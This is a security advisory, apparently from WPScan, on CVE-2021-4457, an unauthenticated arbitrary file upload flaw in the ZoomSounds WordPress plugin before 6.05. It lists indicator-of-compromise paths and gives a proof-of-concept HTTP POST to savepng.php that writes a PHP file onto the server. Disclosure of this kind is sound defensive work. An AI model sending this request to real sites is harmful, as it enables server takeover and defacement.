ZoomSounds < 6.05 – Unauthenticated Arbitrary File Upload | CVE 2021-4457

Description

The plugin contained a PHP file, allowing unauthenticated users to upload an arbitrary file anywhere on the web server.

Note (WPScanTeam): It's unclear which version fixed the issue exactly, however we were able to confirm the issue on version as high as v5.96 and that the related file has been removed at least since v6.05

IoC (Thanks https://twitter.com/riper8) :
/wp-content/plugins/dzs-zoomsounds/xxtest.php
/wp-content/plugins/dzs-zoomsounds/wp-fixer.php
/wp-content/plugins/dzs-zoomsounds/opa.php
/wp-content/plugins/dzs-zoomsounds/defacer.php
/wp-content/plugins/dzs-zoomsounds/wp-cn.php
/atx.php
/wp-includes/atx.php

Proof of Concept

POST /wp-content/plugins/dzs-zoomsounds/savepng.php?location=a.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 23
Connection: close

<?php echo 'Failed'; ?>


Uploaded File will be at http://example.com/wp-content/plugins/dzs-zoomsounds/a.php